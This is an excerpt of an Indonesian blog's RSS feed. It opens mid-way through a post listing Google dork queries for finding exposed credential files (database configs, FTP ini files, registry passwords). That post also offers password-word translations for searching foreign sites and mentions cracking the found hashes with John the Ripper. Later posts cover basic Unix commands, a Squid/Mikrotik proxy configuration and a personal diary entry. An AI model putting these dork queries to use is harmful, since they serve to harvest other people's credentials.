&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:inc dbconn |Various database credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:inc intext:mysql_ |Various database credentials, server names<br />
connect<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:properties inurl:db |Various database credentials, server names<br />
intext:password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:vtund.conf intext:pass –cvs |Virtual Tunnel Daemon passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:”wvdial.conf” intext: |wdial dialup user credentials<br />
”password”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:mdb wwforum |Web Wiz Forums Web credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“AutoCreate=TRUE password=*” |Website Access Analyzer user passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:pwl pwl |Windows Password List user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:reg reg +intext: |Windows Registry Keys containing user<br />
”defaultusername” intext: |credentials<br />
”defaultpassword”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:reg reg +intext: |Windows Registry Keys containing user<br />
”internet account manager” |credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“index of/” “ws_ftp.ini” |WS_FTP FTP credentials<br />
“parent directory”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:ini ws_ftp pwd |WS_FTP FTP user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:/wwwboard |wwwboard user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
	<p>mungkin temen2 ada yang ingin melihat password dari website jerman?<br />
mungkin sebaiknya kita juga mengganti kata &#8220;password&#8221; dengan memakai bahasa jerman tentunya dibawah ini adalah tabel 5 negara beserta terjemahan password dalam bahasa masing2 negara.</p>
	<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
BAHASA |KATA-KATA| TRANSLATE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
German |password | Kennwort<br />
Spanish |password | contraseña<br />
French |password | mot de passe<br />
Italian |password | parola d’accesso<br />
Portuguese |password | senha<br />
Dutch |password | Paswoord<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
	<p>setelah temen2 banyak mendapatkan password, apa yang akan anda lakukan?jangan berbuat jahat yang pasti, lihat2 saja isinya atau anda terlalu baik dengan memberitahu admin. jangan lupa sediakan john the ripper dirumah, sapa tau password yang disimpan sudah dalam keadaan terenkripsi.</p>
	<p>keterangan :<br />
karena ketidak teraturan kata2 pada artikel ini, setelah tanda &#8220;|&#8221; berarti itu merupakan keterangan dari kata kunci. MOHON MAAF
</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/google-dork/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Mengenal Perintah Dasar Pada Sistem Operasi Unix</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/mengenal-perintah-dasar-pada-sistem-operasi-unix/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/mengenal-perintah-dasar-pada-sistem-operasi-unix/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:49:26 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/mengenal-perintah-dasar-pada-sistem-operasi-unix/</guid>
		<description><![CDATA[	Mengenal Perintah Dasar Pada Sistem Operasi Unix
	Stuktur Dasar Perintah Pada Unix
Perintah-perintah yang terdapat pada sistem operasi unix umumnya adalah berupa command line. yangCase-Sensitive, artinya perintah ini membedakan dua perintah dengan huruf besar dan huruf kecil. Hal ini juga berlaku untuk file dan direktori.
Misalnya :
isi file1 berbeda dengan isi File1
	Sedangkan perintah buil-in pada Unix umumnya menggunakan [...]]]></description>
			<content:encoded><![CDATA[	<p>Mengenal Perintah Dasar Pada Sistem Operasi Unix</p>
	<p>Stuktur Dasar Perintah Pada Unix<br />
Perintah-perintah yang terdapat pada sistem operasi unix umumnya adalah berupa command line. yangCase-Sensitive, artinya perintah ini membedakan dua perintah dengan huruf besar dan huruf kecil. Hal ini juga berlaku untuk file dan direktori.<br />
Misalnya :<br />
isi file1 berbeda dengan isi File1</p>
	<p>Sedangkan perintah buil-in pada Unix umumnya menggunakan huruf kecil</p>
	<p>Struktur dasar perintah command line tersebut pada unix adalah sebagai berikut :<br />
    perintah [pilihan] [argumen]</p>
	<p>Penjelasan :<br />
-   perintah, adalah  command yang digunakan untuk melakukan suatu action.<br />
-   Kurung siku menyatakan bahwa yang ada di dalamnya bersifat optional. Bisa ada,bisa tidak.<br />
-   Pilihan (option) untuk mengubah atau menambah default tindakan dari perintah.<br />
-   Argument menyatakan objek yang akan diproses oleh perintah.  Bagian ini umumnya berupa file; tetapi bisa juga berisi data yang akan diproses.</p>
	<p>Sebagai contoh, suatu perintah mempunyai format sebagai berikut  :<br />
kh [-wc] file&#8230;<br />
Artinya, bentuk suatu perintah berikut diperkenankan :<br />
    $kh -w file1<br />
   $kh -w -c file1 file 2<br />
   $kh file2<br />
   $kh file1</p>
	<p>Pilihan (Option)<br />
Sebuah pilihan adalah bagian dari baris perintah, berupa sebuah kata yang diawali dengan tanda minus (-), yang mengontrol tindakan dari suatu perintah.<br />
 Sebagai contoh, ls adalah utilitas yang digunakan untuk menampilkan isi dari suatu direktori. Perintah ls bisa tidak mengandung pilihan maupun argumen. Hasilnya berupa nama-nama file pada direktori kerja (sama seperti dir pada Dos). Untuk mengubah tindakan default dari ls, pilihan seperti -l (menampilkan informasi file, seperti ukuran file) dapat ditambahkan.<br />
$ls<br />
file1<br />
file2<br />
file3</p>
	<p>$ls -l<br />
total 3<br />
-rwx-rw-r&#8211;   1   user_name   group   3k    Des 15  14:20   file1<br />
-rw&#8212;r&#8212;r&#8211;   1   user_name   group   4k    Des 16  14:21   file2<br />
-rw&#8212;rw-rw   1   user_name   group    5k   Des 16  14:30    file3</p>
	<p>Adakalanya pilihan yang perlu diberikan tidak hanya sebuah. Sebagai contoh, pada ls terdapat pilihan -r yang akan menampilkan daftar file dengan urutan nama secara terbalik (descending), misal :<br />
   $ls -r<br />
   file3<br />
   file2<br />
   file1</p>
	<p>Apabila diinginkan untuk mengandung option -r dan -l, dapat dilakukan dengan memberi perintah sebagai berikut :<br />
   $ls -r -l</p>
	<p>Selain menggunakan cara di depan, pilihan -l dan -r dapat digabungkan menjadi sebuah kata. Dengan penulisan :<br />
   $ls -lr    , yang hasilnya ekivalen dengan   $ls -l -r     atau<br />
   $ls -rl     , yang hasilnya ekivalen dengan   $ls -r -l</p>
	<p>Argument<br />
Argument atau yang dikenal juga dengan  parameter adalah bagian dari baris perintah yang digunakan untuk menyebutkan informasi   - data, file dan sebagainya -  yang akan dikenai tindakan oleh perintah. Berbeda dengan pilihan, argumen tidak mempunyai tanda khusus yang digunakan untuk mengawalinya.<br />
Contoh :</p>
	<p>   $ls -rl    /usr/bin</p>
	<p>maka file yang diproses adalah seluruh file yang ada di /usr/bin .</p>
	<p>Berikut ini adalah daftar ringkasan beberapa perintah dasar yang sering digunakan pada unix :</p>
	<p>Perintah untuk Manajemen File<br />
PERINTAH   KETERANGAN<br />
cat   Menampilkan isi file (seperti type pada Dos)</p>
	<p>cp   Menyalin satu atau beberapa file (seperti copy pada Dos)</p>
	<p>find      Mencari file tertentu pada suatu direktori (seperti Dir pada Dos)</p>
	<p>ls   Menampilkan informasi file<br />
more   Menampilkan file per screen</p>
	<p>mv   Memindahkan suatu file ke direktori lain<br />
pg   Menampilkan isi suatu file teks per layar</p>
	<p>rm   Menghapus file (sama seperti Del pada Dos)</p>
	<p>Perintah Manajemen Direktori<br />
PERINTAH   KETERANGAN<br />
cd   Mengaktifkan suatu direktori sebagai direktori<br />
copy   Menyalin seluruh struktur direktori ataupun file</p>
	<p>mkdir   Membuat direktori baru</p>
	<p>pwd<br />
Menampilkan nama direktori tempat kita bekerja<br />
Rmdir   Menghapus direktori</p>
	<p>Perintah untuk mengatur Akses Direktori<br />
PERINTAH   KETERANGAN<br />
chgrp   Mengubah group dari suatu direktori<br />
chmod   Mengubah permisi dari suatu file atau direktori<br />
chown   Mengubah pemilik dari suatu file atau direktori</p>
	<p>Perintah Lingkungan Sistem<br />
PERINTAH   KETERANGAN<br />
exit   Keluar dari shell pada Bourne shell dan Korn shell<br />
id   Menampilkan nama pemakai beserta identitas dari pemakai<br />
logname   Menampilkan nama pemakai<br />
logout   Keluar dari shell pada C shell<br />
man   Menampilkan dokumentasi online dri suatu perintah Unix (sama seperti Help)<br />
newgrp   Mengubah group efektif<br />
passwd   Mengganti password<br />
set   Menampilkan variabel lingkungan pada shell pemakai<br />
tty   Menampilkan nama identitas (port) terminal<br />
uname   Menampilkan nama sistem operasi<br />
whoami   Menampilan nama pemakai yang sedang menggunakan sistem</p>
	<p>Perintah Yang Berhubungan dengan Layar<br />
PERINTAH   KETERANGAN<br />
banner   Menampilkan tulisan berukuran besar<br />
clear   Menghapus layar (sama seperti Cls pada DOS)<br />
echo   Menampilkan tulisan ke layar</p>
	<p>Perintah yang berhubungan dengan Proses<br />
PERINTAH   KETERANGAN<br />
kill   Menghentikan suatu proses berdasarkan identitas proses<br />
ps   Menampilkan proses yang sedang berjalan<br />
sleep   Menunda eksekusi (proses yang tidak mengerjakan apa-apa selama beberapa detik)</p>
	<p>Perintah-perintah lain<br />
PERINTAH   KETERANGAN<br />
bc   Utilitas untuk melakukan perhitungan<br />
cal   Menampilkan Kalender<br />
date   Menampilkan tanggal dan jam sistem<br />
grep   Mencri file-file yang mengandung kata tertentu<br />
lp   Mencetak file ke printer<br />
mail   Utilitas untuk menyampaikan pesan tertulis ke pemakai lain<br />
sort   Mengurutkan data<br />
vi   Editor teks<br />
wc   Menghitung jumlah karakter, kata, dan baris pada suatu file</p>
	<p>Beberapa reference yang dapat digunakan untuk mengenal sistem operasi Unix lebih jauh lagi dapat dilihat di :<br />
[1]. http://Ldp.linux.or.id/howto<br />
[2]. http://www.faq.org<br />
[3]. http://linux-howto.com/ldp/howto</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/mengenal-perintah-dasar-pada-sistem-operasi-unix/feed/</wfw:commentRss>
	</item>
		<item>
		<title>WEb Proxy SquidNT dan setting MT</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/web-proxy-squidnt-dan-setting-mt-2/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/web-proxy-squidnt-dan-setting-mt-2/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:41:11 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/web-proxy-squidnt-dan-setting-mt-2/</guid>
		<description><![CDATA[	Setting Web-Proxy dengan Mikrotik
web proxy dengan menggunakan SquidNT
	konfigurasi jaringan
	internet
|
|
mikrotik = Internet= 192.10.11.1
| Lan = 192.168.0.1
|
|
switch/hub&#8212;-Client = 192.168.0.2-192.168.0.11
|
|
Web proxy SquidNT= 192.168.0.12 (multi fungsi dengan billing server)
	dan ini settingan Mikrotik
	[admin@XXXXX] > ip firewall nat pr
Flags: X - disabled, I - invalid, D - dynamic
 0   ;;; Sharing Internet
     chain=srcnat out-interface=WAN_eth1 src-address=192.168.0.0/24
 [...]]]></description>
			<content:encoded><![CDATA[	<p>Setting Web-Proxy dengan Mikrotik<br />
web proxy dengan menggunakan SquidNT</p>
	<p>konfigurasi jaringan</p>
	<p>internet<br />
|<br />
|<br />
mikrotik = Internet= 192.10.11.1<br />
| Lan = 192.168.0.1<br />
|<br />
|<br />
switch/hub&#8212;-Client = 192.168.0.2-192.168.0.11<br />
|<br />
|<br />
Web proxy SquidNT= 192.168.0.12 (multi fungsi dengan billing server)</p>
	<p>dan ini settingan Mikrotik</p>
	<p>[admin@XXXXX] > ip firewall nat pr<br />
Flags: X - disabled, I - invalid, D - dynamic<br />
 0   ;;; Sharing Internet<br />
     chain=srcnat out-interface=WAN_eth1 src-address=192.168.0.0/24<br />
     action=masquerade<br />
 1   ;;; Web Proxy<br />
     chain=dstnat in-interface=LOKAL LAN_eth3 protocol=tcp dst-port=80<br />
     src-address-list=Ip_List_Web_ProXy action=redirect to-ports=8080<br />
#=============================<br />
[admin@XXXXX] > ip web-proxy pr<br />
                 enabled: yes<br />
             src-address: 0.0.0.0<br />
                    port: 8080<br />
                hostname: &#8220;BagusNet&#8221;<br />
       transparent-proxy: yes<br />
            parent-proxy: 192.168.0.1:3128<br />
     cache-administrator: &#8220;Situs_Porno_Ngak_Dapat_Di_Akses_Selama_Bulan_Puasa_<br />
                          By_sherayusuf@localhost&#8221;</p>
	<p>         max-object-size: 10000KiB<br />
             cache-drive: system<br />
          max-cache-size: unlimited<br />
      max-ram-cache-size: unlimited<br />
                  status: running<br />
      reserved-for-cache: 5269504KiB<br />
  reserved-for-ram-cache: 25600KiB<br />
#=============================<br />
[admin@XXXXX] > ip proxy pr<br />
                    enabled: yes<br />
                       port: 3128<br />
               parent-proxy: 0.0.0.0:1<br />
  maximal-client-connecions: 1000<br />
  maximal-server-connectons: 1000</p>
	<p>dan ini settingan Squid.conf saya</p>
	<p>http_port 8080<br />
http_port 3128<br />
#http_port 80<br />
icp_port 3130</p>
	<p>#====================================================<br />
# TAG: hierarchy_stoplist<br />
# A list of words which, if found in a URL, cause the object to<br />
# be handled directly by this cache. In other words, use this<br />
# to not query neighbor caches for certain objects. You may<br />
# list this option multiple times.<br />
#We recommend you to use at least the following line.<br />
#=====================================================<br />
hierarchy_stoplist cgi-bin ? .js .jsp .g .do .php .asp .cgi localhost visicom indosat.net.id<br />
acl QUERY urlpath_regex cgi-bin \? .js .jsp .g .do .php .asp .cgi localhost visicom indosat.net.id<br />
no_cache deny QUERY<br />
#============================================================$<br />
# OPTION UKURAN CACHE<br />
#============================================================$<br />
cache_mem 64 MB<br />
maximum_object_size 16 MB<br />
maximum_object_size_in_memory 128 KB<br />
minimum_object_size 2 KB<br />
fqdncache_size 1024<br />
cache_swap_low 98%<br />
cache_swap_high 99%<br />
cache_replacement_policy heap GDSF<br />
memory_replacement_policy heap GDSF<br />
high_memory_warning 70 MB<br />
ipcache_size 4096<br />
ipcache_low 98<br />
ipcache_high 99<br />
#============================================================$<br />
# DIREKTORI LOG DAN CACHE<br />
#============================================================$<br />
cache_access_log c:/squid/var/logs/access.log<br />
cache_log c:/squid/var/logs/cache.log<br />
cache_store_log c:/squid/var/logs/store.log<br />
mime_table c:/squid/etc/mime.conf<br />
pid_filename c:/squid/var/logs/squid.pid<br />
log_fqdn off<br />
log_icp_queries off<br />
buffered_logs off<br />
emulate_httpd_log off<br />
#============================================================$<br />
# TIMEOUT<br />
#============================================================$<br />
half_closed_clients off<br />
#============================================================$<br />
# FTP section<br />
#============================================================$<br />
ftp_passive on<br />
ftp_sanitycheck on<br />
#============================================================$<br />
# DNS resolution section<br />
#============================================================$<br />
dns_nameservers 127.0.0.1/8 202.72.208.8/29 202.149.69.254/24<br />
#============================================================$<br />
# AUTH section<br />
#============================================================$<br />
#auth_param basic children 5<br />
#auth_param basic realm Squid proxy-caching web server<br />
#auth_param basic credentialsttl 2 hours<br />
#auth_param basic casesensitive off<br />
#============================================================$<br />
# Refresh Rate TUNING CACHE PROXY<br />
#============================================================$<br />
refresh_pattern \.gif 4320 50% 43200<br />
refresh_pattern \.jpg 4320 50% 43200<br />
refresh_pattern \.tif 4320 50% 43200<br />
refresh_pattern \.png 4320 50% 43200<br />
refresh_pattern \.jpeg 4320 50% 43200<br />
refresh_pattern ^http://www.friendster.com/.* 720 100% 4320<br />
refresh_pattern ^http://mail.yahoo.com/.* 720 100% 4320<br />
refresh_pattern ^http://*.yahoo.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.yimg.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.gmail.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.google.*/.* 720 100% 4320<br />
refresh_pattern ^http://*korea.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.akamai.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.windowsmedia.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.googlesyndication.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.plasa.*/.* 720 100% 4320<br />
refresh_pattern ^http://*.telkom.*/.* 720 100% 4320<br />
refresh_pattern ^ftp: 10080 95% 40320 reload-into-ims override-lastmod<br />
refresh_pattern ^gopher: 1440 0% 1440<br />
refresh_pattern . 0 20% 4320 reload-into-ims override-lastmod<br />
negative_ttl 1 minutes</p>
	<p>quick_abort_min 0 KB<br />
quick_abort_max 0 KB<br />
quick_abort_pct 100%</p>
	<p>#============================================================$<br />
# ACL section AKSES KONTROL<br />
#============================================================$<br />
acl all src 0.0.0.0/0.0.0.0<br />
acl manager proto cache_object<br />
acl mikrotik src 192.168.0.1<br />
acl localnet src 192.168.0.0/24 192.10.11.0/24 202.72.208.8/29<br />
acl localhost src 127.0.0.1/255.255.255.255<br />
#acl our_networks src 192.168.0.0/24 192.10.11.0/24 202.72.208.8/29<br />
acl to_localhost dst 127.0.0.0/8<br />
acl SSL_ports port 443 563 # https, snews<br />
acl SSL_ports port 873 # rsync<br />
acl Safe_ports port 80 # http<br />
acl Safe_ports port 21 # ftp<br />
acl Safe_ports port 443 563 # https, snews<br />
acl Safe_ports port 70 # gopher<br />
acl Safe_ports port 210 # wais<br />
acl Safe_ports port 5004 # telnet Mikrotik bima dan bagus net<br />
acl Safe_ports port 1025-65535 # unregistered ports<br />
acl Safe_ports port 280 # http-mgmt<br />
acl Safe_ports port 488 # gss-http<br />
acl Safe_ports port 591 # filemaker<br />
acl Safe_ports port 777 # multiling http<br />
acl Safe_ports port 631 # cups<br />
acl Safe_ports port 873 # rsync<br />
acl Safe_ports port 901 # SWAT<br />
acl purge method PURGE<br />
acl CONNECT method CONNECT<br />
acl blokdomain dstdomain -i regex &#8220;C:\squid\etc\blocklist.txt&#8221;<br />
#acl blokdomain dstdomain  &#8220;C:\squid\etc\blocklist.txt&#8221;<br />
acl blocker dstdomain  -i regex &#8220;c:\squid\etc\blocklist.txt&#8221;</p>
	<p>#acl ipblok dst  &#8220;C:\squid\etc\blocklist.txt&#8221;<br />
acl porno url_regex -i &#8220;C:\squid\etc\blocklist.txt&#8221;<br />
no_cache deny porno<br />
acl noporno url_regex -i &#8220;C:\squid\etc\nonporno.txt&#8221;<br />
http_access deny porno all<br />
#http_access deny ipblok<br />
http_access deny blokdomain<br />
#http_access deny files<br />
http_access allow manager localhost<br />
http_access deny manager<br />
http_access allow noporno all<br />
http_access allow localnet<br />
http_access allow localhost<br />
#http_access deny blocker<br />
http_access allow mikrotik</p>
	<p>http_access deny !Safe_ports<br />
http_access deny CONNECT !SSL_ports<br />
http_access deny CONNECT<br />
#http_access deny all</p>
	<p>maximum_object_size 10240 KB<br />
maximum_object_size_in_memory 32 KB<br />
minimum_object_size 4 KB<br />
ipcache_size 4096<br />
ipcache_low 98<br />
ipcache_high 99<br />
quick_abort_min 0<br />
quick_abort_max 0<br />
quick_abort_pct 100<br />
fqdncache_size 4096<br />
shutdown_lifetime 10 second<br />
cachemgr_passwd flashdisk<br />
cache_effective_user squid<br />
cache_effective_group squid<br />
memory_pools off<br />
buffered_logs off<br />
log_icp_queries off<br />
logfile_rotate 0<br />
log_fqdn off<br />
forwarded_for on<br />
icp_hit_stale on<br />
query_icmp on<br />
reload_into_ims on<br />
emulate_httpd_log off<br />
negative_ttl 2 minutes<br />
pipeline_prefetch on<br />
vary_ignore_expire on<br />
half_closed_clients off<br />
high_memory_warning 32 MB<br />
high_response_time_warning 2000<br />
high_page_fault_warning 2<br />
cache_mgr Selama_Bulan_Puasas_Situs_Porno_tidak_dapat_Di_Akses_By_yusuf_sexerchivest@yahoo.com<br />
visible_hostname bagusnet_proxy_web_filter_by_yusuf<br />
header_access Accept-Encoding deny all<br />
#============================================================$<br />
# Transparent proxy setting<br />
#============================================================$<br />
httpd_accel_host virtual<br />
httpd_accel_port 80<br />
httpd_accel_with_proxy on<br />
httpd_accel_uses_host_header on<br />
httpd_accel_no_pmtu_disc on<br />
httpd_accel_single_host off<br />
half_closed_clients off<br />
#forwarded_for on</p>
	<p>#============================================================$<br />
# MISCELLANEOUS<br />
#============================================================$<br />
logfile_rotate 3<br />
negative_ttl 2 minutes<br />
#digest_rebuild_period 30 minute<br />
#digest_rewrite_period 30 minute<br />
#digest_swapout_chunk_size 4096 bytes<br />
client_persistent_connections on<br />
server_persistent_connections on<br />
pipeline_prefetch on<br />
vary_ignore_expire on<br />
reload_into_ims on<br />
store_dir_select_algorithm round-robin<br />
nonhierarchical_direct off<br />
prefer_direct off<br />
memory_pools off<br />
shutdown_lifetime 5 seconds<br />
cachemgr_passwd flashdisk<br />
ie_refresh on<br />
cache_effective_user proxy<br />
cache_effective_group proxy</p>
	<p>Setting Queue Simple </p>
	<p>auto&#8221;>[admin@XXXXXXqueue simple> pr<br />
Flags: X - disabled, I - invalid, D - dynamic<br />
 0 X  name=&#8221;Operator-iix&#8221; target-addresses=192.168.0.12/32<br />
      dst-address=0.0.0.0/0 interface=all parent=none packet-marks=paket-iix<br />
      direction=both priority=8 queue=default-small/default-small<br />
      limit-at=0/0 max-limit=0/0 total-queue=default-small</p>
	<p> 1 X  name=&#8221;Operator-intl&#8221; target-addresses=192.168.0.12/32<br />
      dst-address=0.0.0.0/0 interface=all parent=none packet-marks=paket-intl<br />
      direction=both priority=8 queue=default-small/default-small<br />
      limit-at=0/0 max-limit=0/0 total-queue=default-small</p>
	<p> 2    name=&#8221;bagus1-iix&#8221; target-addresses=192.168.0.2/32 dst-address=0.0.0.0/0<br />
      interface=all parent=none packet-marks=paket-iix direction=both<br />
      priority=8 queue=default-small/default-small limit-at=0/0<br />
      max-limit=256000/384000 total-queue=default-small</p>
	<p>Setting IP firewall </p>
	<p>[admin@xxxxxx] ip firewall mangle> pr<br />
Flags: X - disabled, I - invalid, D - dynamic<br />
 0   ;;; Pisahin INT sama IIX<br />
     chain=prerouting in-interface=LOKAL LAN_eth3 dst-address-list=nice<br />
     action=mark-connection new-connection-mark=con-iix passthrough=yes</p>
	<p> 1   chain=prerouting connection-mark=con-iix action=mark-packet<br />
     new-packet-mark=paket-iix passthrough=no</p>
	<p> 2   chain=prerouting action=mark-packet new-packet-mark=paket-intl<br />
     passthrough=no</p>
	<p> 3 X ;;; ICMP<br />
     chain=forward protocol=icmp action=mark-connection<br />
     new-connection-mark=icmp_conn passthrough=yes</p>
	<p> 4 X chain=prerouting connection-mark=icmp_conn action=mark-packet<br />
     new-packet-mark=icmp passthrough=yes</p>
	<p> 5 X chain=prerouting packet-mark=icmp action=mark-packet<br />
     new-packet-mark=icmp_other passthrough=yes</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/web-proxy-squidnt-dan-setting-mt-2/feed/</wfw:commentRss>
	</item>
		<item>
		<title>di kutip dari seorang teman</title>
		<link>http://sherayusuf.blogsome.com/2007/09/06/di-kutip-dari-seorang-teman/</link>
		<comments>http://sherayusuf.blogsome.com/2007/09/06/di-kutip-dari-seorang-teman/#comments</comments>
		<pubDate>Thu, 06 Sep 2007 16:20:56 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>My Diary Activity</category>
		<guid>http://sherayusuf.blogsome.com/2007/09/06/di-kutip-dari-seorang-teman/</guid>
		<description><![CDATA[	Apa yg pertama kali muncul didlm
benak kita jika mndengar kata air mata?
Pastinya yg ada diurutan teratas adlah:
menangis, cengeng, perih /pun iritasi
mata. Namun air mata lebih identik kepd
luapan emosi dr dlm diri kita, baik itu
emosi disaat kita sdg bersedihmaupun
disaat kita berbahagia.
	Aku punya seorg teman wanita yg sll
ceria disetiap harinya, setiap menit
/pun disetiap kali aku memandangnya. Ia
sll [...]]]></description>
			<content:encoded><![CDATA[	<p>Apa yg pertama kali muncul didlm<br />
benak kita jika mndengar kata air mata?<br />
Pastinya yg ada diurutan teratas adlah:<br />
menangis, cengeng, perih /pun iritasi<br />
mata. Namun air mata lebih identik kepd<br />
luapan emosi dr dlm diri kita, baik itu<br />
emosi disaat kita sdg bersedihmaupun<br />
disaat kita berbahagia.</p>
	<p>Aku punya seorg teman wanita yg sll<br />
ceria disetiap harinya, setiap menit<br />
/pun disetiap kali aku memandangnya. Ia<br />
sll tersenyum disertai lesung pipi manis<br />
diwajahnya. Pernah disuatu mlm ia<br />
ketelepasan mengeluarkan air mata di dpn<br />
ku, dgn sedikit heran aku bertanya &#8220;km<br />
knp? koq tumben bgt sich menangis?!</p>
	<p>Bukannya menjwb namun ia hanya<br />
terdiam sambil menyapu air mata dgn<br />
sehelai tissue ditngannya. Dlm hatiku<br />
bertanya2 ada apa gerangan dgn dirinya?<br />
bukankah seharusnya ia berbahagia krn<br />
dlm 2 bln lagi ia akan melangsungkan<br />
penikahan dgn tunangannya??</p>
	<p>Lalu aku mncoba bertanya lg sambil<br />
mrayunya &#8220;share dunkz.. kitakan bertmn<br />
sdh lama, masa sih pakai rahasia2an<br />
segala..&#8221; ia ttp terdiam diiringi<br />
tangisan kecilnya. Terbesit dibathinku<br />
sungguh PELIT sekali tmnku ini,<br />
JANGANKAN KEBAHAGIAAN, KESEDIHANPUN TDK<br />
IA BERIKAN..</p>
	<p>Namun akhirnya ia mnjelaskan titik<br />
permasalahan yg membuatnya bersedih. Ia<br />
berbicara kepdku bhw dirinya sdh tdk<br />
VIRGIN lg sejak SMA, keperawanannya<br />
hilng krn rayuat maut &#038; janji2 manis<br />
mantan kekasihnya. Memang diusia belia<br />
sprti itu msih sulit membedakan antara<br />
cinta &#038; nafsu, bagiku CINTA BOLEH<br />
DIAGUNGKAN TP CINTA YG BERLEBIHAN DPT<br />
MEMBAWA KITA KEJURANG PENYESALAN..</p>
	<p>Dan sekarang ia bingung disertai<br />
takut krn blm berkata jjr kepd<br />
tunangannya bhw ia sdh tdk virgin lagi,<br />
pdhal 2 bln lg pernikahannya (OH MY GOD)<br />
Sebagai tmn aku kaget &#038; prihatin, aku<br />
hanya bs memberikan sedikit masukan &#038;<br />
motivasi kepdnya. Bagiku memang sdh<br />
seharusnya ia sekarang utk berkata jjr<br />
kepd tunangannya.</p>
	<p>Sepahit apapun kenyataan yg harus<br />
ia terima nantinya ia hrs ttp tegar. Toh<br />
lebih baik kehilangan skrg dr pd hrs<br />
kehilangan setelah menikah, krn bukan<br />
hanya dirinya saja yg malu tetapi jg<br />
keluarganya.</p>
	<p>Kurasa cukup cerita ttg tmnku ini.<br />
Ini hanyalah sedikit gambaran ttg wanita<br />
modern masa kini, yg ternyata masih<br />
terlalu gampang menukar kesuciannya<br />
hanya demi janji2 manis. Buat yg masih<br />
virgin, please ttp jaga keperawananmu ,<br />
berikanlah hanya kepd lelaki yg tepat<br />
yaitu suamimu kelak..</p>
	<p>&#8216;N buat yg dah gak virgin, ttp<br />
semangat dunkz.. jgn jadikan itu beban<br />
dlm hidupmu. Ingat motto aku &#8220;DI UJUNG<br />
TEROWONGAN YG GELAP.. PASTI ADA SATU<br />
